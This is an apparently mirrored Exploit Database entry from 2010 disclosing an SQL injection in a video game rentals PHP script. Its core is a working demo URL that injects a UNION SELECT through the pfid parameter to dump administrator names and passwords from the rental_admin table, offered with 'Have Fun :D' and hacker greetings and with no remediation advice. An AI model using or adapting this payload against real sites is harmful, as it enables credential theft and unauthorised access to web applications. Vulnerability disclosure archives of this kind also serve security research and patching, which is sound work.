Video Games Rentals Script – SQL Injection

• Exploit Database
• 11 阅读

• 作者： JaMbA
  日期： 2010-02-11
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11409/

• # Exploit Title: video games rentals Script SQL injection Vulnerability
  # Date: 11/02/2010
  # Author: JaMbA
  # Software Link: N/A
  # Version: all version
  # Tested on: Windows & Linux
  # CVE : ()
  
  :::::::::::::::::::::::::
  
  Exploit Title : video games rentals Script SQL injection Vulnerability
  
  Author : JaMbA
  
  Script Site : www.commodityrentals.com
  
  Version : All Versions
  
  Tested on : Windows & Linux
  
  :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  
  :::::::::::::::::::::::::
  
  =====================================Exploit===============
  
  =========================
  
  [ EXPL0!T ]
  
  www.[Server}.com/[Path]/index.php?view=catalog&pfid=5[exploit code]&item_type=G
  
  [ D3M0 ]
  
  http://server/index.php?view=catalog&pfid=-5+union+select+1,concat(admin_name,0x3a,admin_password),3,4,5+from+rental_admin--&item_type=G
  
  
  Have Fun :D
  
  ===========================================================
  
  =========================
  
  Greetz to : Alnjm33-virus-pal - Predator-bingo2 - xXx-jago-dz -inejcteur-4PY-SaYrOs- XR57 -Tr0y-x Ahmadso -alsaek
  === 3SI lycee jbel jloud ====